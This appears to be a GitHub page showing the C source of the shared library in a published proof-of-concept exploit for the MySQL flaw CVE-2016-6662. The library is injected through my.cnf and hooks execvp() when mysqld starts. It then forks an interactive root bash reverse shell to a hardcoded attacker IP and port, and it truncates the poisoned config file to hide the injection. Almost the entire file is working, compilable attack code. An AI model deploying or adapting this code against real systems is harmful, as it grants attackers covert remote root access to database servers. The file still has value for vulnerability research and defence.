-
Notifications
You must be signed in to change notification settings - Fork 11
/
mysql_hookandroot_lib.c
148 lines (102 loc) · 3.59 KB
/
mysql_hookandroot_lib.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
/*
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
mysql_hookandroot_lib.c
This is the shared library injected by 0ldSQL_MySQL_RCE_exploit.py exploit.
The library is meant to be loaded by mysqld_safe on mysqld daemon startup
to create a reverse shell that connects back to the attacker's host on
6603 port (mysql port in reverse ;) and provides a root shell on the
target.
mysqld_safe will load this library through the following setting:
[mysqld]
malloc_lib=mysql_hookandroot_lib.so
in one of the my.cnf config files (e.g. /etc/my.cnf , /etc/mysql/my.cnf).
This shared library will hook the execvp() function which is called
during the startup of mysqld process.
It will then fork a reverse shell and clean up the poisoned my.cnf
file in order to let mysqld run as normal so that:
'service mysql restart' will work without a problem.
Before compiling adjust IP / PORT and config path.
~
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
~
Compilation:
gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl
Disclaimer:
For testing purposes only. Do no harm.
Full advisory URL:
http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <stdarg.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define ATTACKERS_IP "192.168.77.1"
#define SHELL_PORT 7777
#define INJECTED_CONF "/etc/mysql/my.cnf"
char* env_list[] = { "HOME=/root", NULL };
typedef ssize_t (*execvp_func_t)(const char *__file, char *const __argv[]);
static execvp_func_t old_execvp = NULL;
// fork & send a bash shell to the attacker before starting mysqld
void reverse_shell(void) {
int i; int sockfd;
//socklen_t socklen;
struct sockaddr_in srv_addr;
srv_addr.sin_family = AF_INET;
srv_addr.sin_port = htons( SHELL_PORT ); // connect-back port
srv_addr.sin_addr.s_addr = inet_addr(ATTACKERS_IP); // connect-back ip
// create new TCP socket && connect
sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));
for(i = 0; i <= 2; i++) dup2(sockfd, i);
execle( "/bin/bash", "/bin/bash", "-i", NULL, env_list );
exit(0);
}
/*
cleanup injected data from the target config before it is read by mysqld
in order to ensure clean startup of the service
The injection (if done via logging) will start with a line like this:
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
*/
int config_cleanup() {
FILE *conf;
char buffer[5000];
long cut_offset=0;
conf = fopen(INJECTED_CONF, "r+");
if (!conf) return 1;
while (!feof(conf)) {
fgets(buffer, sizeof(buffer), conf);
if (strstr(buffer,"/usr/sbin/mysqld, Version")) {
cut_offset = (ftell(conf) - strlen(buffer));
}
}
if (cut_offset>0) ftruncate(fileno(conf), cut_offset);
fclose(conf);
return 0;
}
// execvp() hook
int execvp(const char* filename, char* const argv[]) {
pid_t pid;
int fd;
// Simple root PoC (touch /root/root_via_mysql)
fd = open("/root/root_via_mysql", O_CREAT);
close(fd);
old_execvp = dlsym(RTLD_NEXT, "execvp");
// Fork a reverse shell and execute the original execvp() function
pid = fork();
if (pid == 0)
reverse_shell();
// clean injected payload before mysqld is started
config_cleanup();
return old_execvp(filename, argv);
}